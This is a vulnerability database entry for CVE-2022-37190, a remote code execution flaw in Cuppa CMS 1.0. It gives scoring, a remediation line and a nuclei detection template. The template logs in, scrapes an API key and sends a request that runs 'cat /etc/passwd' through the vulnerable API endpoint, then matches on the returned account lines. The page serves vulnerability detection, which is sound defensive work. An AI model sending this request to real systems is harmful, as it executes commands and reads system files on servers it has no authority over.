HexBrain

Browse / CVEs / CVE-2022-37190

CVE-2022-37190· cuppacms / cuppacms· CWE-732

Cuppa CMS v1.0 - Remote Code Execution

highseverity
8.8CVSS score
45.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from "/api/index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patch or update to a patched version of Cuppa CMS v1.0 to mitigate this vulnerability.

How to confirm it

Send: POST / ; POST /components/table_manager/ ; POST /api/index.php
Positive when: contains in header_3 "text/html" AND matches /postgres:.*:1001:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-37190 -u <target>

The full check
id: CVE-2022-37190

info:
  name: Cuppa CMS v1.0 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    CuppaCMS 1.0 is vulnerable to Remote Code Execution (RCE). An authenticated user can control both parameters (action and function) from "/api/index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or update to a patched version of Cuppa CMS v1.0 to mitigate this vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37190
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-37190
    cwe-id: CWE-732
    epss-score: 0.45769
    epss-percentile: 0.98809
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve2022,cve,rce,cuppa,authenticated,cuppacms,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        path=component%2Ftable_manager%2Fview%2Fcu_api_keys
      - |
        POST /api/index.php HTTP/1.1
        Host: {{Hostname}}
        key: {{apikey}}
        Content-Type: application/x-www-form-urlencoded

        action=system&function=exec&cmd=cat+/etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: header_3
        words:
          - "text/html"

      - type: regex
        regex:
          - "postgres:.*:1001:"
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: apikey
        group: 1
        regex:
          - "<td class='td_key'>(.*?)</td>"
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from